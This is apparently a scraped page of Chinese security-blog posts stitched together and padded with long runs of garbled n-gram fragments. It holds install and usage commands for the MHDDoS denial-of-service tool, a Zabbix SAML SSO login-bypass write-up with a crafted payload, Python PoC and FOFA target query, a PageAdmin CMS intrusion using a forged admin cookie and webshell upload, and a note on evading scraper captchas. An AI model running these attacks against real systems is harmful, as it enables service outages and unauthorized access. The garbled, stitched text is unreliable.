安装条件 Requirements dnspython cfscrape impacket requests Python3 PyRoxy icmplib certifi psutil yarl 下载地址 github.com/MatrixTM/MHDDoS 2.4.zip 云中转网盘: yunzhongzhuan.com/#sharefile=Ac5FNRm3_98239 解压密码:www.ddosi.org 安装方法 自动安装 git clone https://github.com/MatrixTM/MHDDoS.git cd MHDDoS pip install -r requirements.txt DockerFile docker pull ghcr.io/mhprodev/mhddos:latest 手动安装 python3 -m pip install cfscrape<=2.1.1 python3 -m pip install certifi<=2021.10.8 python3 -m pip install dnspython>=2.2.0 python3 -m pip install requests==2.27.1 python3 -m pip install impacket==0.9.23 python3 -m pip install psutil>=5.9.0 python3 -m pip install icmplib>=2.1.1 python3 -m pip install git+https://github.com/MHProDev/PyRoxy.git python3 -m pip install yarl~=1.7.2 VPS 上的单行安装 apt -y update && apt -y install curl wget libcurl4 libssl-dev python3 python3-pip make cmake automake autoconf m4 build-essential ruby perl golang git && git clone https://github.com/MatrixTM/MHDDoS.git && cd MH* && pip3 install -r requirements.txt 使用方法 视频 Aparat:https ://www.aparat.com/v/bHcP9 教程 Aparat:https ://aparat.com/v/XPn5Z 文档: https://github.com/MatrixTM/MHDDoS/wiki 脚本用法 第七层: python3 start.py <1=method> <2=url> <3=socks_type> <4=threads> <5=proxylist> <6=rpc> <7=duration> <8=debug=optional> 1:方法(攻击类型) 2:目标 URL 或 IP 地址 3:代理版本(代理使用) 4:代理文件(代理文件格式) 5:要使用的线程数(多线程) 6:RPC(请求预连接) 7:持续时间(以秒为单位完成攻击的时间) 8:调试模式(可选) 第 4 层正常: python3 start.py <1=method> <2=ip:port> <3=threads> <4=duration> <5=debug=optional> 1:方法(攻击类型) 2:目标 URL 或 IP 地址 3:要使用的线程数(多线程) 4:持续时间(以秒为单位完成攻击的时间) 5:调试模式(可选 –什么是调试模式) 第 4 层代理: python3 start.py <1=method> <2=ip:port> <3=threads> <4=duration> <5=socks_type> <6=proxylist> <7=debug=optional> 1:方法(攻击类型) 2:目标 URL 或 IP 地址 3:要使用的线程数(多线程) 4:持续时间(以秒为单位完成攻击的时间) 5:代理版本(代理使用) 6:代理文件(代理文件格式) 7:调试模式(可选) 第 4 层放大: python3 MHDDoS/start.py <1=method> <2=ip:port> <3=threads> <4=duration> <5=reflector file> <6=debug=optional> 1:方法(攻击类型) 2:目标 URL 或 IP 地址 3:要使用的线程数(多线程) 4:持续时间(以秒为单位完成攻击的时间) 5:反射器文件(反射器文件) 6:调试模式(可选) 使用示例 第 7 层(网站): # Running bypass attack from 101 threads, # with socks 5, 100 requests per proxy (connection), for 3600 seconds python start.py bypass https://example.com 5 101 socks5.txt 100 3600 # Running bomb attack from 50 threads (be careful must be < 300) # with all proxies (0), 100 requests per proxy (connection), for 3600 seconds python start.py bomb https://example.com 0 50 proxy.txt 100 3600 第 4 层(服务器/家庭): # Running udp attack from 1 threads, for 3600 seconds python start.py udp 1.1.1.1:53 1 3600 # Running dns attack from 100 threads, for 3600 seconds # with reflector servers from dns.txt, for 3600 seconds python start.py dns 1.1.1.1:53 100 3600 dns.txt # Running minecraft attack from 1000 threads # with socks 5, for 3600 seconds python start.py minecraft 1.1.1.1:53 1000 3600 5 socks5.txt 调试模式(攻击状态日志) python start.py bypass https://example.com 5 1000 socks5.txt 100 100 true python start.py udp 1.1.1.1:53 1 100 true python start.py dns 1.1.1.1:53 1 100 dns.txt true python start.py minecraft 1.1.1.1:53 1 100 5 socks5.txt true 帮助命令: python start.py tools python start.py help 代理支持清单 代理文件格式: <Type>://<Host>:<Port>:<User=Optional>:<Password=Optional> 例如: socks5://1.1.1.1:20001 socks4://1.1.1.1:46527 http://1.1.1.1:443:username:password http://1.1.1.1:80 代理类型 代理类型 参数 所有代理 0 HTTP 1 SOCKS4 4 SOCKS5 5 RANDOM 6 使用代理到第四层的方法 代理类型 MINECRAFT MCBOT MEM RDP NTP TCP ARD VSE SYN UDP CHAR HTTP ✅ ✅ ❌ ❌ ❌ ✅ ❌ ❌ ❌ ❌ ❌ SOCKS4 ✅ ✅ ❌ ❌ ❌ ✅ ❌ ❌ ❌ ❌ ❌ SOCKS5 ✅ ✅ ❌ ❌ ❌ ✅ ❌ ❌ ❌ ❌ ❌ Proxy Type CONNECTION CPS DNS TS3 MCPE CLDAP FIVEM HTTP ✅ ✅ ❌ ❌ ❌ ❌ ❌ SOCKS4 ✅ ✅ ❌ ❌ ❌ ❌ ❌ SOCKS5 ✅ ✅ ❌ ❌ ❌ ❌ ❌ 使用代理到第7层的方法 代理类型 COOKIE BYPASS OVH DGB STRESS DOWNLOADER BOMB NULL AVB GET HTTP ✅ ✅ ✅ ✅ ✅ ✅ ✅ ✅ ✅ ✅ SOCKS4 ✅ ✅ ✅ ✅ ✅ ✅ ❌ ✅ ✅ ✅ SOCKS5 ✅ ✅ ✅ ✅ ✅ ✅ ✅ ✅ ✅ ✅ 代理类型 CFB POST EVEN DYN GSB XMLRPC SLOW BOT PPS CFBUAM APACHE HTTP ✅ ✅ ✅ ✅ ✅ ✅ ✅ ✅ ✅ ✅ ✅ SOCKS4 ✅ ✅ ✅ ✅ ✅ ✅ ✅ ✅ ✅ ✅ ✅ SOCKS5 ✅ ✅ ✅ ✅ ✅ ✅ ✅ ✅ ✅ ✅ ✅ 代理类型 KILLER RHEX STOMP HTTP ✅ ✅ ✅ SOCKS4 ✅ ✅ ✅ SOCKS5 ✅ ✅ ✅ 测试截图 └─# python3 start.py * MHDDoS - DDoS Attack Script With 52 Methods Note: If the Proxy list is empty, the attack will run without proxies If the Proxy file doesn't exist, the script will download proxies and check them. Proxy Type 0 = All in config.json SocksTypes: - 6 = RANDOM - 5 = SOCKS5 - 4 = SOCKS4 - 1 = HTTP - 0 = ALL > Methods: - Layer4 | MINECRAFT, VSE, MCPE, DNS, TCP, CHAR, RDP, MEM, NTP, CONNECTION, CLDAP, CPS, SYN, TS3, MCBOT, FIVEM, ARD, UDP | 18 Methods - Layer7 | GSB, GET, KILLER, APACHE, DGB, NULL, STRESS, COOKIE, XMLRPC, BOT, TOR, HEAD, POST, BYPASS, BOMB, DYN, CFBUAM, OVH, EVEN, SLOW, PPS, DOWNLOADER, AVB, CFB | 24 Methods - Tools | CFIP, DSTAT, PING, INFO, CHECK, DNS, TSSRV | 7 Methods - Others | TOOLS, HELP, STOP | 3 Methods - All 52 Methods Example: L7: python3 start.py <method> <url> <socks_type> <threads> <proxylist> <rpc> <duration> <debug=optional> L4: python3 start.py <method> <ip:port> <threads> <duration> L4 Proxied: python3 start.py <method> <ip:port> <threads> <duration> <socks_type> <proxylist> L4 Amplification: python3 start.py <method> <ip:port> <threads> <duration> <reflector file (only use with Amplification)> 项目地址 GitHub: https://github.com/MatrixTM/MHDDoS 注意 意事 事项 注意事 意事项 注意事项 仅可 可作 作为 为研 研究 究具 具备 备授 授权 权的 的测 测试 试使 使用 仅可作 可作为 作为研 为研究 研究具 究具备 具备授 备授权 授权的 权的测 的测试 测试使 试使用 仅可作为 可作为研 作为研究 为研究具 研究具备 究具备授 具备授权 备授权的 授权的测 权的测试 的测试使 测试使用 未经 经所 所有 有者 者同 同意 未经所 经所有 所有者 有者同 者同意 未经所有 经所有者 所有者同 有者同意 请勿 勿用 用于 于攻 攻击 请勿用 勿用于 用于攻 于攻击 请勿用于 勿用于攻 用于攻击 特点 点和 和方 方法 特点和 点和方 和方法 特点和方 点和方法 洪水 绕过 随机 机十 十六 六进 进制 随机十 机十六 十六进 六进制 随机十六 机十六进 十六进制 发送 送高 高字 字节 节的 发送高 送高字 高字节 字节的 发送高字 送高字节 高字节的 数据 据包 数据包 一种 种带 带有 有随 机子 子域 域的 的新 新方 一种带 种带有 带有随 有随机 随机子 机子域 子域的 域的新 的新方 新方法 一种带有 种带有随 带有随机 有随机子 随机子域 机子域的 子域的新 域的新方 的新方法 种慢 慢读 读数 据的 一种慢 种慢读 慢读数 读数据 数据的 据的新 一种慢读 种慢读数 慢读数据 读数据的 数据的新 据的新方 旧的 空用 用户 户代 代理 理和 空用户 用户代 户代理 代理和 空用户代 用户代理 户代理和 只有 有更 更多 多标 标头 头的 带有更 有更多 更多标 多标头 标头的 带有更多 有更多标 更多标头 多标头的 谷歌 歌项 项目 目屏 屏蔽 蔽绕 谷歌项 歌项目 项目屏 目屏蔽 屏蔽绕 蔽绕过 谷歌项目 歌项目屏 项目屏蔽 目屏蔽绕 屏蔽绕过 防护 护绕 防护绕 护绕过 防护绕过 云绕 云绕过 像谷 歌机 机器 器人 像谷歌 谷歌机 歌机器 机器人 像谷歌机 谷歌机器 歌机器人 阿帕 帕奇 阿帕奇 奇漏 漏洞 帕奇漏 奇漏洞 阿帕奇漏 帕奇漏洞 添加 击模 模式 式下 下的 攻击模 击模式 模式下 式下的 攻击模式 击模式下 模式下的 过正 正常 常的 绕过正 过正常 正常的 绕过正常 过正常的 运行 行多 多个 个线 线程 程来 来杀 杀死 死一 一个 个目 目标 运行多 行多个 多个线 个线程 线程来 程来杀 来杀死 杀死一 死一个 一个目 个目标 运行多个 行多个线 多个线程 个线程来 线程来杀 程来杀死 来杀死一 杀死一个 死一个目 一个目标 过洋 洋葱 葱网 网站 绕过洋 过洋葱 洋葱网 葱网站 绕过洋葱 过洋葱网 洋葱网站 技术 术支 支持 技术支 术支持 技术支持 水绕 洪水绕 水绕过 洪水绕过 用代 理打 打开 开和 和关 关闭 闭连 连接 使用代 用代理 代理打 理打开 打开和 开和关 和关闭 关闭连 闭连接 使用代理 用代理打 代理打开 理打开和 打开和关 开和关闭 和关闭连 关闭连接 回显 显请 请求 求洪 回显请 显请求 请求洪 求洪水 回显请求 显请求洪 请求洪水 开连 打开连 开连接 理打开连 打开连接 协议 状态 放大 我的 的世 世界 界机 人攻 我的世 的世界 世界机 界机器 器人攻 人攻击 我的世界 的世界机 世界机器 界机器人 机器人攻 器人攻击 电荷 荷放 电荷放 荷放大 电荷放大 扩增 远程 程桌 桌面 面放 大攻 远程桌 程桌面 桌面放 面放大 放大攻 大攻击 远程桌面 程桌面放 桌面放大 面放大攻 放大攻击 面协 议放 桌面协 面协议 协议放 议放大 程桌面协 桌面协议 面协议放 协议放大 议放大攻 工具 查找 找由 查找由 提供 供支 持的 的网 站的 的真 真实 提供支 供支持 支持的 持的网 的网站 网站的 站的真 的真实 提供支持 供支持的 支持的网 持的网站 的网站的 网站的真 站的真实 地址 显示 示站 站点 点的 显示站 示站点 站点的 显示站点 示站点的 记录 解析 析器 解析器 服务 务器 服务器 检查 查网 站状 检查网 查网站 网站状 站状态 检查网站 查网站状 网站状态 示接 接收 收的 的字 节数 显示接 示接收 接收的 收的字 的字节 字节数 显示接收 示接收的 接收的字 收的字节 的字节数 送的 数及 及其 其数 数量 发送的 送的字 节数及 数及其 及其数 其数量 发送的字 送的字节 字节数及 节数及其 数及其数 及其数量 其他 停止 止所 有攻 停止所 止所有 所有攻 有攻击 停止所有 止所有攻 所有攻击 控制 制台 台工 控制台 制台工 台工具 控制台工 制台工具 示使
-
兄弟们一般做博客都是用什么程序的啊?
国内外,看你怎么选择。 国内 内外 国内外 看你 你怎 怎么 么选 选择 看你怎 你怎么 怎么选 么选择 看你怎么 你怎么选 怎么选择
-
Zabbix SAML SSO 登录绕过漏洞
一、简介 zabbix是一个基于WEB界面的提供分布式系统监视以及网络监视功能的企业级的开源解决方案。zabbix能监视各种网络参数,保证服务器系统的安全运营;并提供灵活的通知机制以让系统管理员快速定位/解决存在的各种问题。 zabbix server可以通过SNMP,zabbix agent,ping,端口监视等方法提供对远程服务器/网络状态的监视,数据收集等功能,它可以运行在Linux,Solaris,HP-UX,AIX,Free BSD,Open BSD,OS X等平台上。 该漏洞源于在启用 saml SSO 身份验证(非默认)的情况下,未身份验证的攻击者可以修改会话数据,成功绕过前台进入后台,因为存储在会话中的用户登录未经过验证。 漏洞的限制条件:需要启用 SAML 身份验证,并且攻击者必须知道 Zabbix 用户的用户名。 二、FOFA语法 app=“ZABBIX-监控系统” && body=“SAML” 三、复现流程 1、通过fofa语法搜索zabbix资产访问首页获取set-cookie中zbx_session参数的值 2、通过Url解码和Base64解码获得zbx_session参数Json格式数据 {"sessionid":"67f71355eb96121f384ea0571290faca","sign":"Uyq2BXQfe5Iug4UBpucwq3PXAmVh0ctpR4pvEfzg\/OWe7TKhmAQdqyu5iUmtWzQR+0m33eQBHnk1VV+IO0icAQ=="} 3、通过在Json中添加saml_data和username_attribute参数后重新Base64编码和Url编码构造Payload {"saml_data":{"username_attribute":"Admin"},"sessionid":"67f71355eb96121f384ea0571290faca","sign":"Uyq2BXQfe5Iug4UBpucwq3PXAmVh0ctpR4pvEfzg\/OWe7TKhmAQdqyu5iUmtWzQR+0m33eQBHnk1VV+IO0icAQ=="} 4、把构造好的payload进行base64编码和url编码 %65%79%4a%7a%59%57%31%73%58%32%52%68%64%47%45%69%4f%6e%73%69%64%58%4e%6c%63%6d%35%68%62%57%56%66%59%58%52%30%63%6d%6c%69%64%58%52%6c%49%6a%6f%69%51%57%52%74%61%57%34%69%66%53%77%69%63%32%56%7a%63%32%6c%76%62%6d%6c%6b%49%6a%6f%69%4e%6a%64%6d%4e%7a%45%7a%4e%54%56%6c%59%6a%6b%32%4d%54%49%78%5a%6a%4d%34%4e%47%56%68%4d%44%55%33%4d%54%49%35%4d%47%5a%68%59%32%45%69%4c%43%4a%7a%61%57%64%75%49%6a%6f%69%56%58%6c%78%4d%6b%4a%59%55%57%5a%6c%4e%55%6c%31%5a%7a%52%56%51%6e%42%31%59%33%64%78%4d%31%42%59%51%57%31%57%61%44%42%6a%64%48%42%53%4e%48%42%32%52%57%5a%36%5a%31%77%76%54%31%64%6c%4e%31%52%4c%61%47%31%42%55%57%52%78%65%58%55%31%61%56%56%74%64%46%64%36%55%56%49%72%4d%47%30%7a%4d%32%56%52%51%6b%68%75%61%7a%46%57%56%69%74%4a%54%7a%42%70%59%30%46%52%50%54%30%69%66%51%3d%3d 5、请求index_sso.php,在http请求头中构造payload,将zbx_session的值替换为url编码后的payload 6、成功登录后台 可利用poc直接获取构造后的payload poc: import requests import re import urllib.parse import base64 import json import sys def exp(target, username): resp = requests.get(url=target, verify=False) cookie = resp.headers.get("Set-Cookie") zbx_session = re.findall(r"zbx_session=(.*?); ", cookie) url_decode_data = urllib.parse.unquote(zbx_session[0], encoding='utf-8') base64_decode_data = base64.b64decode(url_decode_data) decode_to_str = str(base64_decode_data, encoding='utf-8') to_json = json.loads(decode_to_str) tmp_ojb = dict(saml_data=dict(username_attribute=username), sessionid=to_json["sessionid"], sign=to_json["sign"]) payloadJson = json.dumps(tmp_ojb) print("decode_payload:", payloadJson) payload = urllib.parse.quote(base64.b64encode(payloadJson.encode())) print("zbx_signed_session:", payload) if __name__ == "__main__": if len(sys.argv) != 3: print("argv error") exit(0) target = sys.argv[1] username = sys.argv[2] exp(target, username) 简介 是一 一个 个基 基于 是一个 一个基 个基于 是一个基 一个基于 界面 面的 的提 提供 供分 分布 布式 式系 系统 统监 监视 视以 以及 及网 网络 络监 视功 功能 能的 的企 企业 业级 级的 的开 开源 源解 解决 决方 方案 界面的 面的提 的提供 提供分 供分布 分布式 布式系 式系统 系统监 统监视 监视以 视以及 以及网 及网络 网络监 络监视 监视功 视功能 功能的 能的企 的企业 企业级 业级的 级的开 的开源 开源解 源解决 解决方 决方案 界面的提 面的提供 的提供分 提供分布 供分布式 分布式系 布式系统 式系统监 系统监视 统监视以 监视以及 视以及网 以及网络 及网络监 网络监视 络监视功 监视功能 视功能的 功能的企 能的企业 的企业级 企业级的 业级的开 级的开源 的开源解 开源解决 源解决方 解决方案 能监 视各 各种 种网 络参 参数 能监视 监视各 视各种 各种网 种网络 网络参 络参数 能监视各 监视各种 视各种网 各种网络 种网络参 网络参数 保证 证服 服务 务器 器系 统的 的安 安全 全运 运营 保证服 证服务 服务器 务器系 器系统 系统的 统的安 的安全 安全运 全运营 保证服务 证服务器 服务器系 务器系统 器系统的 系统的安 统的安全 的安全运 安全运营 并提 供灵 灵活 活的 的通 通知 知机 机制 制以 以让 让系 统管 管理 理员 员快 快速 速定 定位 并提供 提供灵 供灵活 灵活的 活的通 的通知 通知机 知机制 机制以 制以让 以让系 让系统 系统管 统管理 管理员 理员快 员快速 快速定 速定位 并提供灵 提供灵活 供灵活的 灵活的通 活的通知 的通知机 通知机制 知机制以 机制以让 制以让系 以让系统 让系统管 系统管理 统管理员 管理员快 理员快速 员快速定 快速定位 决存 存在 在的 的各 种问 问题 解决存 决存在 存在的 在的各 的各种 各种问 种问题 解决存在 决存在的 存在的各 在的各种 的各种问 各种问题 可以 以通 通过 可以通 以通过 可以通过 端口 口监 视等 等方 方法 法提 供对 对远 远程 程服 端口监 口监视 监视等 视等方 等方法 方法提 法提供 提供对 供对远 对远程 远程服 程服务 端口监视 口监视等 监视等方 视等方法 等方法提 方法提供 法提供对 提供对远 供对远程 对远程服 远程服务 程服务器 络状 状态 态的 的监 网络状 络状态 状态的 态的监 的监视 网络状态 络状态的 状态的监 态的监视 数据 据收 收集 集等 等功 数据收 据收集 收集等 集等功 等功能 数据收集 据收集等 收集等功 集等功能 它可 以运 运行 行在 它可以 可以运 以运行 运行在 它可以运 可以运行 以运行在 等平 平台 台上 等平台 平台上 等平台上 该漏 漏洞 洞源 源于 于在 在启 启用 该漏洞 漏洞源 洞源于 源于在 于在启 在启用 该漏洞源 漏洞源于 洞源于在 源于在启 于在启用 身份 份验 验证 身份验 份验证 身份验证 非默 默认 非默认 的情 情况 况下 的情况 情况下 的情况下 未身 证的 的攻 攻击 击者 者可 以修 修改 改会 会话 话数 未身份 验证的 证的攻 的攻击 攻击者 击者可 者可以 可以修 以修改 修改会 改会话 会话数 话数据 未身份验 份验证的 验证的攻 证的攻击 的攻击者 攻击者可 击者可以 者可以修 可以修改 以修改会 修改会话 改会话数 会话数据 成功 功绕 绕过 过前 前台 台进 进入 入后 后台 成功绕 功绕过 绕过前 过前台 前台进 台进入 进入后 入后台 成功绕过 功绕过前 绕过前台 过前台进 前台进入 台进入后 进入后台 因为 为存 存储 储在 在会 话中 中的 的用 用户 户登 登录 录未 未经 经过 过验 因为存 为存储 存储在 储在会 在会话 会话中 话中的 中的用 的用户 用户登 户登录 登录未 录未经 未经过 经过验 过验证 因为存储 为存储在 存储在会 储在会话 在会话中 会话中的 话中的用 中的用户 的用户登 用户登录 户登录未 登录未经 录未经过 未经过验 经过验证 洞的 的限 限制 制条 条件 漏洞的 洞的限 的限制 限制条 制条件 漏洞的限 洞的限制 的限制条 限制条件 需要 要启 需要启 要启用 需要启用 并且 且攻 者必 必须 须知 知道 并且攻 且攻击 击者必 者必须 必须知 须知道 并且攻击 且攻击者 攻击者必 击者必须 者必须知 必须知道 户的 户名 用户的 户的用 用户名 用户的用 户的用户 的用户名 语法 监控 控系 监控系 控系统 监控系统 复现 现流 流程 复现流 现流程 复现流程 法搜
-
(PageAdmin CMS)渗透后台过程
0x00前言 这是上周hw中遇到的一个cms,记录一下,防止以后遇到忘记利用点(手动狗头) 0x01介绍 PageAdmin Cms是一款基于asp.net mvc开发的自助建站系统,于2008年发布,从最开始的2.0版本到目前的4.0版本,强大的后台管理功能,良好的用户操作体验,开发式的功能扩展,让各种类型网站制作更加便捷和灵活。 0x02开搞!!! 网页内容太多,全码了 往下滑,一般会底部写着PageAdmin cms 直接+一手master看是不是常规后台 很显然不是,御剑大法好,开梭 进后台页面测试弱口令,默认用户为admin 简单测试了几个弱口令,一般是不存在了,直接利用百度出来的exp冲一波(乌云大表哥的)。 exp:Master=1&LoginProcess=1&UserName=admin&LOginDate=1&Valicate=12b36e45c2df117d12a068814d826283f9c32f845e1589142208628b13f&Permissions=1 在后台登陆页面的控制栏中加入document.cookie=”exp”,回车后访问index.aspx 进入之后找利用点getshell咯,看网上表哥的文章说是阉割版,主流的增加专题getshell我直接排除了,利用表哥新思路。 自定义表单->增加新表单(输入表单名称) 之后点击字段管理、增加字段, 输入字段标题、字段名称、表单数据(文件file)、允许扩展名输入.asxh, 然后点击增加 这里可以直接上传.ashx文件,上传aspx会直接删掉。 绝绝子,干了一天活,文章没写完,人家把后台给给改名了,也没扫出来!!!!!!!!! 总的来说上传.ashx文件,然后检测如果带有page字样会上传不成功,这里选择不带有page字样的马。 这里我用的是一个cmd马(马被删了,绝绝子,没有截图了),就到这了。 前言 这是 是上 上周 这是上 是上周 这是上周 中遇 遇到 到的 的一 一个 中遇到 遇到的 到的一 的一个 中遇到的 遇到的一 到的一个 记录 录一 一下 记录一 录一下 记录一下 防止 止以 以后 后遇 到忘 忘记 记利 利用 用点 防止以 止以后 以后遇 后遇到 遇到忘 到忘记 忘记利 记利用 利用点 防止以后 止以后遇 以后遇到 后遇到忘 遇到忘记 到忘记利 忘记利用 记利用点 手动 动狗 狗头 手动狗 动狗头 手动狗头 介绍 是一 一款 款基 基于 是一款 一款基 款基于 是一款基 一款基于 开发 发的 的自 自助 助建 建站 站系 系统 开发的 发的自 的自助 自助建 助建站 建站系 站系统 开发的自 发的自助 的自助建 自助建站 助建站系 建站系统 年发 发布 年发布 从最 最开 开始 始的 从最开 最开始 开始的 从最开始 最开始的 版本 本到 到目 目前 前的 版本到 本到目 到目前 目前的 版本到目 本到目前 到目前的 强大 大的 的后 后台 台管 管理 理功 功能 强大的 大的后 的后台 后台管 台管理 管理功 理功能 强大的后 大的后台 的后台管 后台管理 台管理功 管理功能 良好 好的 的用 用户 户操 操作 作体 体验 良好的 好的用 的用户 用户操 户操作 操作体 作体验 良好的用 好的用户 的用户操 用户操作 户操作体 操作体验 发式 式的 的功 能扩 扩展 开发式 发式的 式的功 的功能 功能扩 能扩展 开发式的 发式的功 式的功能 的功能扩 功能扩展 让各 各种 种类 类型 型网 网站 站制 制作 作更 更加 加便 便捷 捷和 和灵 灵活 让各种 各种类 种类型 类型网 型网站 网站制 站制作 制作更 作更加 更加便 加便捷 便捷和 捷和灵 和灵活 让各种类 各种类型 种类型网 类型网站 型网站制 网站制作 站制作更 制作更加 作更加便 更加便捷 加便捷和 便捷和灵 捷和灵活 开搞 网页 页内 内容 容太 太多 网页内 页内容 内容太 容太多 网页内容 页内容太 内容太多 全码 码了 全码了 往下 下滑 往下滑 一般 般会 会底 底部 部写 写着 一般会 般会底 会底部 底部写 部写着 一般会底 般会底部 会底部写 底部写着 直接 一手 看是 是不 不是 是常 常规 规后 看是不 是不是 不是常 是常规 常规后 规后台 看是不是 是不是常 不是常规 是常规后 常规后台 很显 显然 然不 很显然 显然不 然不是 很显然不 显然不是 御剑 剑大 大法 法好 御剑大 剑大法 大法好 御剑大法 剑大法好 开梭 进后 台页 页面 面测 测试 试弱 弱口 口令 进后台 后台页 台页面 页面测 面测试 测试弱 试弱口 弱口令 进后台页 后台页面 台页面测 页面测试 面测试弱 测试弱口 试弱口令 默认 认用 户为 默认用 认用户 用户为 默认用户 认用户为 简单 单测 试了 了几 几个 个弱 简单测 单测试 测试了 试了几 了几个 几个弱 个弱口 简单测试 单测试了 测试了几 试了几个 了几个弱 几个弱口 个弱口令 般是 不存 存在 在了 一般是 般是不 是不存 不存在 存在了 一般是不 般是不存 是不存在 不存在了 接利 用百 百度 度出 出来 来的 直接利 接利用 利用百 用百度 百度出 度出来 出来的 直接利用 接利用百 利用百度 用百度出 百度出来 度出来的 冲一 一波 冲一波 乌云 云大 大表 表哥 哥的 乌云大 云大表 大表哥 表哥的 乌云大表 云大表哥 大表哥的 在后 台登 登陆 陆页 面的 的控 控制 制栏 栏中 中加 加入 在后台 后台登 台登陆 登陆页 陆页面 页面的 面的控 的控制 控制栏 制栏中 栏中加 中加入 在后台登 后台登陆 台登陆页 登陆页面 陆页面的 页面的控 面的控制 的控制栏 控制栏中 制栏中加 栏中加入 回车 车后 后访 访问 回车后 车后访 后访问 回车后访 车后访问 进入 入之 之后 后找 找利 进入之 入之后 之后找 后找利 找利用 进入之后 入之后找 之后找利 后找利用 找利用点 看网 网上 上表 的文 文章 章说 说是 是阉 阉割 割版 看网上 网上表 上表哥 哥的文 的文章 文章说 章说是 说是阉 是阉割 阉割版 看网上表 网上表哥 上表哥的 表哥的文 哥的文章 的文章说 文章说是 章说是阉 说是阉割 是阉割版 主流 流的 的增 增加 加专 专题 主流的 流的增 的增加 增加专 加专题 主流的增 流的增加 的增加专 增加专题 我直 接排 排除 除了 我直接 直接排 接排除 排除了 我直接排 直接排除 接排除了 用表 哥新 新思 思路 利用表
-
爬微信公众号整成bot
一直想爬微信公众号然后整成一个bot。试过好几次 最终都以失败告终。昨天折腾了一晚上,利用搜狗的微信爬取弄好了 爬取的方法 网上能搜到的爬取方法: 微信公众号平台接口抓取|限制:微信KEY有限制,30-40分钟内就会过期。请求次数超过10-20次被封 搜狗公众号爬取 | 缺陷:只能获取公众号最新更新的一条文章 爬取实现 这里是用第二种方法,方法如下 搜狗微信公众号搜索对应公众号:https://weixin.sogou.com/weixin?type=1&query=bibacps&ie=utf8 获取文章链接 然后请求这个链接得到wx文章的链接 经过测试,发现并无cookie等效验。访问https://weixin.sogou.com/<sougou_wx_lnk>就可以获取wx文章url。但是,请求次数太多就会出现验证码,只有cookie对了才不会有验证码 google后得到解决方法: 随机UA头 每次请求之前先获取搜狗子域名cookie 参考链接:https://blog.csdn.net/weixin_43881394/article/details/107768458 获取子域名cookie import requests def getcookie(): #从搜狗视频获取cookie,防止傻逼搜狗机制检测 url = 'https://v.sogou.com/v?ie=utf8&query=&p=40030600' headers = {'User-Agent': UserAgent().random} rst = requests.get(url=url,headers=headers,allow_redirects=False) cookies = rst.cookies.get_dict() return cookies 爬取到wx文章链接后入库 最终效果如下 Github:https://github.com/422926799/note/tree/master/%E8%87%AA%E5%B7%B1%E5%86%99%E7%9A%84%E5%B7%A5%E5%85%B7/%E5%BE%AE%E4%BF%A1%E5%85%AC%E4%BC%97%E5%8F%B7%E7%88%AC%E5%8F%96 爬虫小技巧 爬取大型站点(例如:google.com) 可能会遇到的问题: * 请求次数过多导致验证码 * Cookie判断是否多次请求 解决发方法 * 随机IP代理 * 随机UA头 * SESSION请求 * 针对Cookie判断是否多次请求 (这种大型站点cookie生成机制都是一致的,可以请求这种站点的子域名获取cookie。每次请求之前,先从子域名获取cookie然后在用这个cookie请求要爬取的站点) * 延时请求 遇见CSRF TOKEN效验 * TOKEN效验 * COOKIE效验 解决方法: * 这种CRSF TOKEN一般在当前页面存在TOKEN,先获取TOKEN在去请求 指定某个地区的IP请求 解决方法: * 使用对应地区的IP请求 一直 直想 想爬 爬微 微信 信公 公众 众号 号然 然后 后整 整成 成一 一个 一直想 直想爬 想爬微 爬微信 微信公 信公众 公众号 众号然 号然后 然后整 后整成 整成一 成一个 一直想爬 直想爬微 想爬微信 爬微信公 微信公众 信公众号 公众号然 众号然后 号然后整 然后整成 后整成一 整成一个 试过 过好 好几 几次 试过好 过好几 好几次 试过好几 过好几次 最终 终都 都以 以失 失败 败告 告终 最终都 终都以 都以失 以失败 失败告 败告终 最终都以 终都以失 都以失败 以失败告 失败告终 昨天 天折 折腾 腾了 了一 一晚 晚上 昨天折 天折腾 折腾了 腾了一 了一晚 一晚上 昨天折腾 天折腾了 折腾了一 腾了一晚 了一晚上 利用 用搜 搜狗 狗的 的微 信爬 爬取 取弄 弄好 好了 利用搜 用搜狗 搜狗的 狗的微 的微信 微信爬 信爬取 爬取弄 取弄好 弄好了 利用搜狗 用搜狗的 搜狗的微 狗的微信 的微信爬 微信爬取 信爬取弄 爬取弄好 取弄好了 取的 的方 方法 爬取的 取的方 的方法 爬取的方 取的方法 网上 上能 能搜 搜到 到的 的爬 取方 网上能 上能搜 能搜到 搜到的 到的爬 的爬取 爬取方 取方法 网上能搜 上能搜到 能搜到的 搜到的爬 到的爬取 的爬取方 爬取方法 号平 平台 台接 接口 口抓 抓取 众号平 号平台 平台接 台接口 接口抓 口抓取 公众号平 众号平台 号平台接 平台接口 台接口抓 接口抓取 限制 有限 有限制 分钟 钟内 内就 就会 会过 过期 分钟内 钟内就 内就会 就会过 会过期 分钟内就 钟内就会 内就会过 就会过期 请求 求次 次数 数超 超过 请求次 求次数 次数超 数超过 请求次数 求次数超 次数超过 次被 被封 次被封 狗公 号爬 搜狗公 狗公众 众号爬 号爬取 搜狗公众 狗公众号 公众号爬 众号爬取 缺陷 只能 能获 获取 取公 号最 最新 新更 更新 新的 的一 一条 条文 文章 只能获 能获取 获取公 取公众 众号最 号最新 最新更 新更新 更新的 新的一 的一条 一条文 条文章 只能获取 能获取公 获取公众 取公众号 公众号最 众号最新 号最新更 最新更新 新更新的 更新的一 新的一条 的一条文 一条文章 取实 实现 爬取实 取实现 爬取实现 这里 里是 是用 用第 第二 二种 种方 这里是 里是用 是用第 用第二 第二种 二种方 种方法 这里是用 里是用第 是用第二 用第二种 第二种方 二种方法 法如 如下 方法如 法如下 方法如下 狗微 号搜 搜索 索对 对应 应公 搜狗微 狗微信 众号搜 号搜索 搜索对 索对应 对应公 应公众 搜狗微信 狗微信公 公众号搜 众号搜索 号搜索对 搜索对应 索对应公 对应公众 应公众号 取文 章链 链接 获取文 取文章 文章链 章链接 获取文章 取文章链 文章链接 后请 求这 这个 个链 接得 得到 然后请 后请求 请求这 求这个 这个链 个链接 链接得 接得到 然后请求 后请求这 请求这个 求这个链 这个链接 个链接得 链接得到 章的 的链 文章的 章的链 的链接 文章的链 章的链接 经过 过测 测试 经过测 过测试 经过测试 发现 现并 并无 发现并 现并无 发现并无 等效 效验 等效验 访问 就可 可以 以获 就可以 可以获 以获取 就可以获 可以获取 但是 数太 太多 多就 会出 出现 现验 验证 证码 次数太 数太多 太多就 多就会 就会出 会出现 出现验 现验证 验证码 求次数太 次数太多 数太多就 太多就会 多就会出 就会出现 会出现验 出现验证 现验证码 只有 对了 了才 才不 不会 会有 有验 